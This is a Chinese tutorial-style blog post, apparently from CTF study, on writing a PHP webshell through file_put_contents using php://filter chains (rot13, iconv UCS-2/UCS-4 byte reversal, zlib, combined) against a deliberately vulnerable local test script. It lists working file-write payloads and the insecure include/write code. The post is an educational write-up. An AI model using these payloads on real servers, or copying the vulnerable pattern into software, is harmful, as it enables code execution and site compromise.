这几日在学习文件包含漏洞时碰到了一道绕过死亡exit();的题目,借此机会就学一学file_put_contents写入webshell

关于filter的知识:

php:// — 访问各个输入/输出流(I/O streams)php://input 是个可以访问请求的原始数据的只读流。

php://filter 是一种设计用来允许过滤器程序在打开时成为流的封装协议。这对于单独具有完整功能的文件函数非常有用,否则就没有机会在读取内容之前将过滤器应用于流之上。

该协议语法为:php://filter:/<action>=<name>

比如 php://filter:/resource=http://www.baidu.com

参数 功能
read       读取
write 写入
resource 数据来源

string.strip_tags: 将数据流中的所有html标签清除
string.toupper: 将数据流中的内容转换为大写
string.tolower: 将数据流中的内容转换为小写

在本地搭好环境

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
    $content = $_GET['content'];
    if(file_exists($content))
        require_once($content);
    file_put_contents($content,$content);
} 

这里我没有过滤任何过滤器主要是为了方便测试

无任何编码写入

payload:php://filter/write=<?php phpinfo();?>/resource=info.php

查看文件目录,成功写入

 查看文件,成功实现

Rot13

ROT13回转13位rotate by 13 places,有时中间加了个连字符称作ROT-13)是一种简易的替换式密码。Rot13是一种非常简单的替换加密算法,只能加密26个英语字母。

这里我们现需要关闭短标签服务才能使用,因为如果开启了短标签,我们是无法成功写入shell的

 

payload:php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=info.php

 iconv字符编码转换

头文件"iconv.h"。iconv命令可以将一种已知的字符集文件转换成另一种已知的字符集文件。

它的作用是在多种国际编码格式之间进行文本内码的转换。

支持的内码包括:Unicode相关编码,如UTF-8、UTF-16、UCS-2、UCS-4编码方式等等,各国采用的ANSI编码,其中包括GB2312、BIG5等中文编码方式。

这里我们列举UCS-2、UCS-4编码方式

<?php
echo iconv("UCS-2LE","UCS-2BE",'12345678');
echo iconv("UCS-4LE","UCS-4BE",'12345678');
?>
21436587
43218765

通过UCS-2或者UCS-4的方式,目标字符串会进行2或4位一反转

在使用相应的编码方式时,要使用相应的倍数,不然不能进行反转

UCS-2

payload:php://filter//convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=info.php

 

UCS-4

这里我们需要将shell补齐为4的倍数

payload:php://filter//convert.iconv.UCS-4LE.UCS-4BE|?<ah phpiphp(ofn>?;)/resource=info.php

 

 zlib

可以利⽤ zlib 的 zlib.deflate 和 zlib.inflate 来做

payload:php://filter/zlib.deflate|zlib.inflate|<?phpinfo();?>/resource=info.php

 混合双打

我们可以利用多种编码方式混合写入shell,可用方法很多,这里就用UCS-2和rot13举一个例子吧

payload:php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|string.rot13|?<uc cucvcsa(b;)>?/resource=info.php

 

Logo

GitCode 天启AI是一款由 GitCode 团队打造的智能助手,基于先进的LLM(大语言模型)与多智能体 Agent 技术构建,致力于为用户提供高效、智能、多模态的创作与开发支持。它不仅支持自然语言对话,还具备处理文件、生成 PPT、撰写分析报告、开发 Web 应用等多项能力,真正做到“一句话,让 Al帮你完成复杂任务”。

更多推荐